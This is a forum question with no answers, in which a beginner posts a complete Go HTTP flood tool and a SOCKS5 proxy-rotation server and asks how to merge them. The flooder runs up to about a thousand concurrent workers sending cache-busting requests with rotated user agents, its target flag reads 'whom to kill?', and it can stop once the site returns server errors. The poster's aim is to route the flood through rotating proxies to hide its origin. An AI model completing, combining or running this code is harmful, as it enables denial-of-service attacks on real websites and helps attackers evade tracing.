implement socks5 proxy with reading from file

Viewed 53

im only start to learn Golang tell me please how i Can improve socks5 proxy for this script?

 package main

import (
    "flag"
    "fmt"
    "io/ioutil"
    "math/rand"
    "net/http"
    "net/url"
    "os"
    "os/signal"
    "strconv"
    "strings"
    "sync/atomic"
    "syscall"
)

const acceptCharset = "ISO-8859-1,utf-8;q=0.7,*;q=0.7"

const (
    callGotOk              uint8 = iota
    callExitOnErr
    callExitOnTooManyFiles
    targetComplete
)

// global params
var (
    safe bool = false
    headersReferers []string = []string{
        "http://www.google.com/?q=",
    }
    headersUseragents []string = []string{
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv",
    }
    cur int32
)

type arrayFlags []string

func (i *arrayFlags) String() string {
    return "[" + strings.Join(*i, ",") + "]"
}

func (i *arrayFlags) Set(value string) error {
    *i = append(*i, value)
    return nil
}

func main() {
    var (
        site    string
        agents  string
        data    string
        headers arrayFlags
    )

    flag.BoolVar(&safe, "safe", false, "Автозакрытие после атаки")
    flag.StringVar(&site, "site", "", "Кого килить?")
    flag.StringVar(&agents, "agents", "", "Получить список строк пользовательского агента из файла.")
    flag.StringVar(&data, "data", "", "Данные для POST. Если присутствует, скрипт будет использовать POST-запросы вместо GET.")
    flag.Var(&headers, "header", "Добавьте заголовки к запросу. Можно использовать несколько раз")
    flag.Parse()

    t := os.Getenv("")
    maxproc, err := strconv.Atoi(t)
    if err != nil {
        maxproc = 1023
    }

    u, err := url.Parse(site)
    if err != nil {
        fmt.Println("err parsing url parameter\n")
        os.Exit(1)
    }

    if agents != "" {
        if data, err := ioutil.ReadFile(agents); err == nil {
            headersUseragents = []string{}
            for _, a := range strings.Split(string(data), "\n") {
                if strings.TrimSpace(a) == "" {
                    continue
                }
                headersUseragents = append(headersUseragents, a)
            }
        } else {
            fmt.Printf("Cant load %s\n", agents)
            os.Exit(1)
        }
    }

    go func() {
        fmt.Println("-- Go-Go-Go --\n           Go!\n\n")
        ss := make(chan uint8, 8)
        var (
            err, sent int32
        )
        fmt.Println("In use |\tResp OK |\tGot err")
        for {
            if atomic.LoadInt32(&cur) < int32(maxproc-1) {
                go httpcall(site, u.Host, data, headers, ss)
            }
            if sent%10 == 0 {
                fmt.Printf("\r%6d of max %-6d |\t%7d |\t%6d", cur, maxproc, sent, err)
            }
            switch <-ss {
            case callExitOnErr:
                atomic.AddInt32(&cur, -1)
                err++
            case callExitOnTooManyFiles:
                atomic.AddInt32(&cur, -1)
                maxproc--
            case callGotOk:
                sent++
            case targetComplete:
                sent++
                fmt.Printf("\r%-6d of max %-6d |\t%7d |\t%6d", cur, maxproc, sent, err)
                fmt.Println("\r-- Finished -- \n\n\r")
                os.Exit(0)
            }
        }
    }()

    ctlc := make(chan os.Signal)
    signal.Notify(ctlc, syscall.SIGINT, syscall.SIGKILL, syscall.SIGTERM)
    <-ctlc
    fmt.Println("\r\n-- self stoped -- \n")
}

func httpcall(url string, host string, data string, headers arrayFlags, s chan uint8) {
    atomic.AddInt32(&cur, 1)

    var param_joiner string
    var client = new(http.Client)

    if strings.ContainsRune(url, '?') {
        param_joiner = "&"
    } else {
        param_joiner = "?"
    }

    for {
        var q *http.Request
        var err error

        if data == "" {
            q, err = http.NewRequest("GET", url+param_joiner+buildblock(rand.Intn(7)+3)+"="+buildblock(rand.Intn(7)+3), nil)
        } else {
            q, err = http.NewRequest("POST", url, strings.NewReader(data))
        }

        if err != nil {
            s <- callExitOnErr
            return
        }

        q.Header.Set("User-Agent", headersUseragents[rand.Intn(len(headersUseragents))])
        q.Header.Set("Cache-Control", "no-cache")
        q.Header.Set("Accept-Charset", acceptCharset)
        q.Header.Set("Referer", headersReferers[rand.Intn(len(headersReferers))]+buildblock(rand.Intn(5)+5))
        q.Header.Set("Keep-Alive", strconv.Itoa(rand.Intn(10)+100))
        q.Header.Set("Connection", "keep-alive")
        q.Header.Set("Host", host)

        // Overwrite headers with parameters

        for _, element := range headers {
            words := strings.Split(element, ":")
            q.Header.Set(strings.TrimSpace(words[0]), strings.TrimSpace(words[1]))
        }

        r, e := client.Do(q)
        if e != nil {
            fmt.Fprintln(os.Stderr, e.Error())
            if strings.Contains(e.Error(), "socket: many files") {
                s <- callExitOnTooManyFiles
                return
            }
            s <- callExitOnErr
            return
        }
        r.Body.Close()
        s <- callGotOk
        if safe {
            if r.StatusCode >= 500 {
                s <- targetComplete
            }
        }
    }
}

func buildblock(size int) (s string) {
    var a []rune
    for i := 0; i < size; i++ {
        a = append(a, rune(rand.Intn(25)+65))
    }
    return string(a)
}

This is the flooder And I found socks proxy code like this. As i understand i need to put parameters to work ,but nothing works for me. All dependencies are on the board,but nothing work

 package main

import (
    "container/ring"
    "errors"
    "flag"
    "fmt"
    "github.com/armon/go-socks5"
    "github.com/peterbourgon/ff"
    "golang.org/x/net/context"
    "golang.org/x/net/proxy"
    "io/ioutil"
    "net"
    "net/http"
    "os"
    "strings"
    "time"
)

var ProxyListURL string
var ProxyRing *ring.Ring
var UserPassword string

func getSocks5Proxy() ([]string, error) {
    resp, err := http.Get(ProxyListURL)
    if err != nil {
        return nil, err
    }
    if resp.StatusCode != 200 {
        return nil, errors.New(fmt.Sprintf("response status code is not 200: %d", resp.StatusCode))
    }
    defer resp.Body.Close()
    txtFile, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        return nil, nil
    }

    proxiesUnique := make(map[string]bool)
    for _, p := range strings.Split(string(txtFile), "\n") {
        proxiesUnique[strings.TrimSpace(p)] = true
    }
    proxies := make([]string, 0)
    for p := range proxiesUnique {
        if p != "" {
            proxies = append(proxies, p)
        }
    }

    return proxies, nil
}

func loadProxyListEvery(period time.Duration) {
    for {
        ps, err := getSocks5Proxy()
        if err != nil {
            fmt.Println("Proxy list loading error:", err)
        }

        ProxyRing = ring.New(len(ps))
        for _, p := range ps {
            ProxyRing.Value = p
            ProxyRing = ProxyRing.Next()
        }
        fmt.Println("Proxy list loaded. Count: ", len(ps))
        time.Sleep(period)
    }
}

func getProxy() string {
    if ProxyRing.Len() == 0 {
        return ""
    }
    nextProxy := ProxyRing.Value.(string)
    ProxyRing = ProxyRing.Next()
    return nextProxy
}

func getAuth() *proxy.Auth {
    if UserPassword != "" {
        up := strings.Split(UserPassword, ":")
        return &proxy.Auth{User: up[0], Password: up[1]}
    }
    return nil
}

// Dial with socks5 server from proxy list
func dialOverSocks5(ctx context.Context, network, addr string) (net.Conn, error) {
    proxyAddr := getProxy()
    if proxyAddr == "" {
        return nil, errors.New("proxy list is empty")
    }
    dialSocksProxy, err := proxy.SOCKS5("tcp", proxyAddr, getAuth(), proxy.Direct)

    if err != nil {
        return nil, err
    }
    return dialSocksProxy.Dial(network, addr)

}

func runProxyServer(addr string, port int, user string) error {
    var conf *socks5.Config

    if user != "" {
        up := strings.Split(user, ":")
        conf = &socks5.Config{Dial: dialOverSocks5, Credentials: socks5.StaticCredentials{up[0]: up[1]}}
    } else {
        conf = &socks5.Config{Dial: dialOverSocks5}
    }

    server, err := socks5.New(conf)
    if err != nil {
        panic(err)
    }
    return server.ListenAndServe("tcp", fmt.Sprintf("%s:%d", addr, port))
}

func main() {
    var addr string
    var port int
    var period time.Duration
    var localUserPassword string

    fs := flag.NewFlagSet("2 level proxy server. Update proxy list every n seconds.", flag.ExitOnError)

    fs.StringVar(&ProxyListURL, "url", "", "URL to proxy list. Prior then file.")
    fs.StringVar(&localUserPassword, "u", "", "socks5 server incoming auth user:password")
    fs.StringVar(&UserPassword, "ur", "", "socks5 servers outgoing auth user:password")
    fs.StringVar(&addr, "a", "0.0.0.0", "listening ip")
    fs.IntVar(&port, "p", 8181, "listening port")
    fs.DurationVar(&period, "n", time.Hour*24, "update period in seconds")

    err := ff.Parse(fs, os.Args[1:])
    if err != nil {
        panic(err)
    }

    if ProxyListURL == "" {
        panic("Specify URL to proxy list!")
    }

    go loadProxyListEvery(period)

    err = runProxyServer(addr, port, localUserPassword)
    if err != nil {
        panic(err)
    }
}

I need that first code will working with the proxy ? But im trying and only what i have its only many errors like

# command-line-arguments
./first.go:139:14: undefined: ring
./first.go:146:18: undefined: localUserPassword
./first.go:148:18: undefined: addr
./first.go:149:15: undefined: port
./first.go:150:20: undefined: period
./first.go:168:24: undefined: period
./first.go:170:23: undefined: addr
./first.go:170:29: undefined: port
./first.go:170:35: undefined: localUserPassword
./first.go:242:24: undefined: ProxyListURL
./first.go:242:24: too many errors

every package installed ,but correctly don't work.i understand i have many errors but exactly could find the solution for to combine these two scripts in one Tell me please how i can combine these two scripts? Thank You and sorry for spending you time :-)

0 Answers
Related